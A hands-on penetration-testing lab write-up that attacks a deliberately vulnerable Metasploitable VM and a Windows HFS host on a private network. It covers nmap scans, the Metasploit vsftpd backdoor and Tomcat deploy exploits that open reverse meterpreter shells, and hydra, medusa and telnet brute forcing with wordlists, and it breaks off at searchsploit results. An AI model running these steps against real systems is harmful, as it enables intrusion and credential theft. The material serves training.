

C(PTE-T JR Penetration Testing Engineer: Hands-on

Lab Project

Find target host in the network from attacker machine:

```
(kali㉿kali)-[~]
$ nmap -sn 192.168.50.0/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 12:24 -0400
Nmap scan report for the-machine.local (192.168.50.1)
Host is up (0.00019s latency).
MAC Address: 00:50:56:C0:00:0B (VMware)
Nmap scan report for 192.168.50.2
Host is up (0.000080s latency).
MAC Address: 00:50:56:F8:87:C9 (VMware)
Nmap scan report for 192.168.50.130
Host is up (0.00015s latency).
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:FE:48:75 (VMware)
Nmap scan report for 192.168.50.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 7.18 seconds
```

Perform port scan on the target for FTP:

```
(kali㉿kali)-[~]
$ nmap -sCV 192.168.50.130 -p21
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 12:26 -0400
Nmap scan report for 192.168.50.130
Host is up (0.00030s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
| ftp-syst:
|_  STAT:
|_  FTP server status:
|_    Connected to 192.168.50.129
|_    Logged in as ftp
|_    TYPE: ASCII
|_    No session bandwidth limit
|_    Session timeout in seconds is 300
|_    Control connection is plain text
|_    Data connections will be plain text
|_    vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds
```

Search exploit with searchsploit:

```
(kali@kali)-[~]
$ searchsploit vsftpd 2.3.4
```

Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

Shellcodes: No Results

```
(kali@kali)-[~]
$
```

Using metasploit search for exploit:

```
msf > search vsftpd 2.3.4
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	Yes	vsftpd 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

```
msf > s$
```

Use the exploit and show options for it:

```
msf > use 0
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

Name	Current Setting	Required	Description
FETCH_COMMAND	CURL	yes	Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE	false	yes	Attempt to delete the binary after execution
FETCH_FILELESS	none	yes	Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell)
FETCH_SRVHOST		no	Local IP to use for serving payload
FETCH_SRVPORT	8080	yes	Local port to use for serving payload
FETCH_URI_PATH		no	Local URI to use for serving payload
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

When FETCH_COMMAND is one of CURL,GET,WGET:

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Set RHOSTS (target) and LHOST (attacker) accordingly and execute the module:

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.130
RHOSTS => 192.168.50.130
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.50.129
LHOST => 192.168.50.129
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.50.129:4444
[+] 192.168.50.130:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.50.129:4444 -> 192.168.50.130:46513) at 2026-05-12 12:31:27 -0400
```

meterpreter > █

Check sysinfo and current working directory:

```
meterpreter > sysinfo
Computer Requirements: metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > pwd
/
meterpreter > █
```


Upload a file:

```
meterpreter > upload file-from-kali.txt
[*] Uploading : /home/kali/file-from-kali.txt → file-from-kali.txt
[*] Uploaded -1.00 B of 33.00 B (-3.03%): /home/kali/file-from-kali.txt → file-from-kali.txt
[*] Completed : /home/kali/file-from-kali.txt → file-from-kali.txt
meterpreter > cat file-from-kali.txt
This file was uploaded from kali
meterpreter > █
```

Download a file from target host:

```
meterpreter > shell
Process 5884 created.
Channel 5 created.
/bin/bash
id
uid=0(root) gid=0(root)
echo 'This file is from target' > file-from-target.txt
exit
exit
meterpreter > download file-from-target.txt
[*] Downloading: file-from-target.txt → /home/kali/file-from-target.txt
[*] Downloaded 25.00 B of 25.00 B (100.0%): file-from-target.txt → /home/kali/file-from-target.txt
[*] Completed : file-from-target.txt → /home/kali/file-from-target.txt
meterpreter > lcat file-from-target.txt
This file is from target
meterpreter > █
```

Find target host in the network from attacker machine:

```
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Nmap scan report for 192.168.50.130
Host is up (0.00015s latency).
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:FE:48:75 (VMware)
Nmap scan report for 192.168.50.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 7.18 seconds
```

Perform port scan on the target for FTP:

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|_    Session timeout in seconds is 300
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|_    Data connections will be plain text
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|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds
```

Perform a simple user login with hydra:

```
(kali@kali)-[~]
$ hydra -l msfadmin -p msfadmin 192.168.50.130
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-12 12:45:40
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.50.130:21/
[21][ftp] host: 192.168.50.130 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-12 12:45:51
```

Perform login brute force attack with hydra:

```
(kali@kali)-[~]
$ hydra -l msfadmin -P password.txt 192.168.50.130
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-12 12:54:36
[DATA] max 16 tasks per 1 server, overall 16 tasks, 35 login tries (l:1/p:35), ~3 tries per task
[DATA] attacking ftp://192.168.50.130:21/
[21][ftp] host: 192.168.50.130 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-12 12:54:43
```

Log in to the ftp server with found credential and download a file:

```
(kali@kali)-[~]
$ ftp 192.168.50.130
Connected to 192.168.50.130.
220 (vsFTPd 2.3.4)
Name (192.168.50.130:kali): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||49969|).
150 Here comes the directory listing.
drwxr-xr-x  6 1000    1000          4096 Apr 28  2010 vulnerable
226 Directory send OK.
ftp> cd vulnerable
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||17095|).
150 Here comes the directory listing.
drwxr-xr-x  3 1000    1000          4096 Apr 28  2010 mysql-ssl
drwxr-xr-x  5 1000    1000          4096 Apr 28  2010 samba
drwxr-xr-x  2 1000    1000          4096 Apr 19  2010 tikiwiki
drwxr-xr-x  3 1000    1000          4096 Apr 16  2010 twiki20030201
226 Directory send OK.
ftp> cd mysql-ssl
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||50179|).
150 Here comes the directory listing.
-rw-r--r--  1 1000    1000          428 Jan 26  2010 my.cnf
-rw-r--r--  2 1000    1000          4096 Jan 27  2010 mysql-keys
-rw-r--r--  1 1000    1000          226 Apr 20  2010 mysqld.gdb
-rw-r--r--  1 1000    1000       951427 Apr 20  2010 yassl-1.9.8.zip
226 Directory send OK.
ftp> get my.cnf
local: my.cnf remote: my.cnf
229 Entering Extended Passive Mode (|||26131|).
150 Opening BINARY mode data connection for my.cnf (428 bytes).
100% |*****| 428 46.46 KiB/s 00:00 ETA
226 Transfer complete.
428 bytes received in 00:00 (41.39 KiB/s)
```

Find target host in the network from attacker machine:

```
(kali㉿kali)-[~]  
$ nmap -sn 192.168.50.0/24  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 12:24 -0400  
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Nmap scan report for 192.168.50.2  
Host is up (0.000080s latency).  
MAC Address: 00:50:56:F8:87:C9 (VMware)  
Nmap scan report for 192.168.50.130  
Host is up (0.00015s latency).  
MAC Address: 00:0C:29:A6:3D:D2 (VMware)  
Nmap scan report for 192.168.50.254  
Host is up (0.00011s latency).  
MAC Address: 00:50:56:FE:48:75 (VMware)  
Nmap scan report for 192.168.50.129  
Host is up.  
Nmap done: 256 IP addresses (5 hosts up) scanned in 7.18 seconds
```

Perform port scan on the target for SSH:

```
(kali㉿kali)-[~]  
$ nmap -sCV 192.168.50.130 -p22  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 13:11 -0400  
Nmap scan report for 192.168.50.130  
Host is up (0.00062s latency).  


| PORT   | STATE | SERVICE | VERSION                                      |
|--------|-------|---------|----------------------------------------------|
| 22/tcp | open  | ssh     | OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) |

  
| ssh-hostkey:  
|_ 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)  
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)  
MAC Address: 00:0C:29:A6:3D:D2 (VMware)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
```

Perform brute force attack on SSH using medusa:

```
(kali㉿kali)-[~]
$ medusa -h 192.168.50.130 -U user.txt -P password.txt -M ssh
Medusa v2.3 [http://www.Foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

2026-05-12 12:58:47 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
forever (1 of 35 complete)
2026-05-12 12:58:49 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
family (2 of 35 complete)
2026-05-12 12:58:51 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
jonathan (3 of 35 complete)
2026-05-12 12:58:53 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
987654321 (4 of 35 complete)
2026-05-12 12:58:56 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
computer (5 of 35 complete)
2026-05-12 12:58:58 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
whatever (6 of 35 complete)
2026-05-12 12:59:00 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
dragon (7 of 35 complete)
2026-05-12 12:59:02 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
vanessa (8 of 35 complete)
2026-05-12 12:59:03 ACCOUNT CHECK: [ssh] Host: 192.168.50.130 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password:
cookie (9 of 35 complete)
```

Log in to the server with the cracked credential:

```
(kali㉿kali)-[~]
$ ssh -o HostKeyAlgorithms+=ssh-rsa msfadmin@192.168.50.130
The authenticity of host '192.168.50.130 (192.168.50.130)' can't be established.
RSA key fingerprint is: SHA256:BQHm5EoHX9GciOLuVscegPXLQosuPs+E9d/rrJB84rk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.130' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
msfadmin@192.168.50.130's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Wed May  6 09:18:29 2026
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$
```

Find target host in the network from attacker machine:

```
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Nmap scan report for 192.168.50.130
Host is up (0.00015s latency).
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:FE:48:75 (VMware)
Nmap scan report for 192.168.50.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 7.18 seconds
```

Perform port scan on the target for telnet:

```
(kali㉿kali)-[~]
$ nmap -sCV 192.168.50.130 -p23
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 14:54 -0400
Nmap scan report for 192.168.50.130
Host is up (0.00046s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds
```

Prepare username and password list:

```
(kali㉿kali)-[~]  
$ cat user.txt  
msfadmin  
root  
postgres  
toor  
badcode  
  
(kali㉿kali)-[~]  
$ cat password.txt  
forever  
family  
jonathan  
987654321  
computer  
whatever  
dragon  
vanessa  
cookie  
naruto  
summer  
sweety  
spongebob  
joseph  
junior  
softball  
taylor  
yellow  
daniela  
lauren  
msfadmin  
mickey  
princesa
```


Open msfconsole and search for telnet logging module:

```
msf > search telnet_login

Matching Modules
=====
#  Name
--  -
0  auxiliary/admin/http/netgear_pnp_getsharefolderlist_auth_bypass 2021-09-06 normal Yes Netgear PNPX_GetShareFolderList Authentication Bypass
1  auxiliary/scanner/telnet/telnet_login . normal No Telnet Login Check Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_login

msf > use 1
msf auxiliary(scanner/telnet/telnet_login) >
```

Set the target, user and password file accordingly:

```
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.130
RHOSTS => 192.168.50.130
msf auxiliary(scanner/telnet/telnet_login) > set USER_FILE user.txt
USER_FILE => user.txt
msf auxiliary(scanner/telnet/telnet_login) > set PASS_FILE password.txt
PASS_FILE => password.txt
```

Run the exploit to find the password for telnet:

```
msf auxiliary(scanner/telnet/telnet_login) > run
[!] 192.168.50.130:23 - No active DB -- Credential data will not be saved!
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:forever (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:family (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:jonathan (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:987654321 (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:computer (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:whatever (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:dragon (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:vanessa (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:cookie (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:naruto (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:summer (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:sweetie (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:spongebob (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:joseph (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:junior (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:softball (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:taylor (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:yellow (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:daniela (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: msfadmin:lauren (Incorrect: )
[+] 192.168.50.130:23 - 192.168.50.130:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.130:23 - Attempting to start session 192.168.50.130:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.129:35771 -> 192.168.50.130:23) at 2026-05-12 14:59:28 -0400
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: root:forever (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: root:family (Incorrect: )
[-] 192.168.50.130:23 - 192.168.50.130:23 - LOGIN FAILED: root:forever (Incorrect: )
```


List the telnet session:

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l
```

Active sessions				
Id	Name	Type	Information	Connection
1	msfadmin	shell	TELNET msfadmin:msfadmin (192.168.50.130:23)	192.168.50.129:35771 → 192.168.50.130:23 (192.168.50.130)

Interact with the session:

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...
```

```
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ dir
vulnerable
msfadmin@metasploitable:~$
```

Find target host in the network from attacker machine:

```
(kali㉿kali)-[~]
$ nmap -sn 192.168.50.0/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 12:24 -0400
Nmap scan report for the-machine.local (192.168.50.1)
Host is up (0.00019s latency).
MAC Address: 00:50:56:C0:00:0B (VMware)
Nmap scan report for 192.168.50.2
Host is up (0.000080s latency).
MAC Address: 00:50:56:F8:87:C9 (VMware)
Nmap scan report for 192.168.50.130
Host is up (0.00015s latency).
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:FE:48:75 (VMware)
Nmap scan report for 192.168.50.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 7.18 seconds
```

Perform port scan on the target for apache tomcat:

```
(kali㉿kali)-[~]
$ nmap -sCV 192.168.50.130 -p8180
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 15:27 -0400
Nmap scan report for 192.168.50.130
Host is up (0.00047s latency).

PORT      STATE SERVICE VERSION
8180/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 00:0C:29:A6:3D:D2 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.23 seconds
```

Open msfconsole and find the module for tomcat login bruteforcing:

```
msf > search tomcat_mgr_login

Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  auxiliary/scanner/http/tomcat_mgr_login  .              normal No    Tomcat Application Manager Login Utility

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/tomcat_mgr_login

msf > use 0
msf auxiliary(scanner/http/tomcat_mgr_login) >
```

Set target host, port, user and password file accordingly:

```
msf auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.50.130
RHOSTS => 192.168.50.130
msf auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf auxiliary(scanner/http/tomcat_mgr_login) > options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name           Current Setting  Required  Description
-----
ANONYMOUS_LOGIN false           yes       Attempt to login with a blank username and password
BLANK_PASSWORDS false           no        Try blank passwords for all users
BRUTEFORCE_SPEED 5              yes       How fast to bruteforce, from 0 to 5
DB_ALL_CREDS     false          no        Try each user/password couple stored in the current database
DB_ALL_PASS      false          no        Add all passwords in the current database to the list
DB_ALL_USERS     false          no        Add all users in the current database to the list
DB_SKIP_EXISTING none           no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD         (blank)         no        The HTTP password to specify for authentication
PASS_FILE        /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no        File containing passwords, one per line

Proxies         (blank)         no        A proxy chain of format type:host:port[,type:host:port][...]
               Supported proxies: socks5, socks5h, sapni, http, socks4
RHOSTS          192.168.50.130 yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT           8180           yes        The target port (TCP)
SSL             false          no        Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false          yes        Stop guessing when a credential works for a host
TARGETURI       /manager/html  yes        URI for Manager login. Default is /manager/html
THREADS         1             yes        The number of concurrent threads (max one per host)
USERNAME        (blank)         no        The HTTP username to specify for authentication
USERPASS_FILE   /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_ no        File containing users and passwords separated by space, one pair per line
```

Execute it to find a successful login credential:

```
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:password (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:Password1 (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:changethis (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:r00t (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:toor (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:password1 (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:j2deployer (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:0vW*busr1 (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:kdsxc (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:owaspba (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:ADMIN (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: root:xampp (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: tomcat:admin (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: tomcat:manager (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: tomcat:role1 (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[ + ] 192.168.50.130:8180 - Login Successful: tomcat:tomcat
[ - ] 192.168.50.130:8180 - LOGIN FAILED: both:admin (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: both:manager (Incorrect)
[ - ] 192.168.50.130:8180 - LOGIN FAILED: both:role1 (Incorrect)
```

Then find the tomcat exploit module for deploy:

```
msf auxiliary(scanner/http/tomcat_mgr_login) > search tomcat_mgr_deploy

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/multi/http/tomcat_mgr_deploy  2009-11-09      excellent Yes     Apache Tomcat Manager Application Deployer Authen
ticated Code Execution
1  \_ target: Automatic                    .               .       .
2  \_ target: Java Universal               .               .       .
3  \_ target: Windows Universal           .               .       .
4  \_ target: Linux x86                   .               .       .

Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/tomcat_mgr_deploy
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86'

msf auxiliary(scanner/http/tomcat_mgr_login) > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_deploy) >
```

Set target host data accordingly:

```
msf exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.50.130
RHOSTS => 192.168.50.130
msf exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
```

Execute the module to get a reverse meterpreter shell:

```
msf exploit(multi/http/tomcat_mgr_deploy) > run
[*] Started reverse TCP handler on 192.168.50.129:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6221 bytes as vLYmyuK0Cf7KyRcJ.war ...
[*] Executing /vLYmyuK0Cf7KyRcJ/0cLcmR.jsp ...
[*] Undeploying vLYmyuK0Cf7KyRcJ ...
[*] Sending stage (58073 bytes) to 192.168.50.130
[*] Meterpreter session 1 opened (192.168.50.129:4444 → 192.168.50.130:34526) at 2026-05-12 15:34:45 -0400

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > █
```

Find target host in the network from attacker machine:

```
(kali㉿kali)-[~]
└─$ nmap -sn 192.168.50.0/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 15:40:04 -0400
Nmap scan report for the-machine.local (192.168.50.1)
Host is up (0.00019s latency).
MAC Address: 00:50:56:C0:00:0B (VMware)
Nmap scan report for 192.168.50.2
Host is up (0.00014s latency).
MAC Address: 00:50:56:F8:87:C9 (VMware)
Nmap scan report for 192.168.50.130
Host is up (0.00016s latency).
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Nmap scan report for 192.168.50.131
Host is up (0.00025s latency).
MAC Address: 00:0C:29:85:02:0B (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00020s latency).
MAC Address: 00:50:56:FE:48:75 (VMware)
Nmap scan report for 192.168.50.129
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 6.94 seconds
```

We conduct port scanning and see that the HFS 2.3 file server is installed.

```
(kali@kali)-[~]
$ nmap -sCV 192.168.50.131 --open -T5 --min-rate 10000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 15:42 -0400
Nmap scan report for 192.168.50.131
Host is up (0.00075s latency).
Not shown: 998 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      VERSION
80/tcp    open  http         HttpFileServer httpd 2.3m
|_ http-server-header: HFS 2.3m
|_ http-title: HFS /
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: MARVEL
|   NetBIOS_Domain_Name: MARVEL
|   NetBIOS_Computer_Name: SPIDERMAN
|   DNS_Domain_Name: MARVEL.local
|   DNS_Computer_Name: SPIDERMAN.MARVEL.local
|   DNS_Tree_Name: MARVEL.local
|   Product_Version: 10.0.19041
|_ System_Time: 2026-05-12T19:42:48+00:00
| ssl-cert: Subject: commonName=SPIDERMAN.MARVEL.local
| Not valid before: 2026-05-03T12:57:50
|_ Not valid after: 2026-11-02T12:57:50
|_ ssl-date: 2026-05-12T19:42:53+00:00; 0s from scanner time.
MAC Address: 00:0C:29:85:02:0B (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds
```

Searching exploit using searchsploit we discover a few exploit and see a metasploit module might be present:

```
(kali@kali)-[~]
$ searchsploit hfs 2.3

Exploit Title | Path
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC) | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | multiple/remote/30850.txt
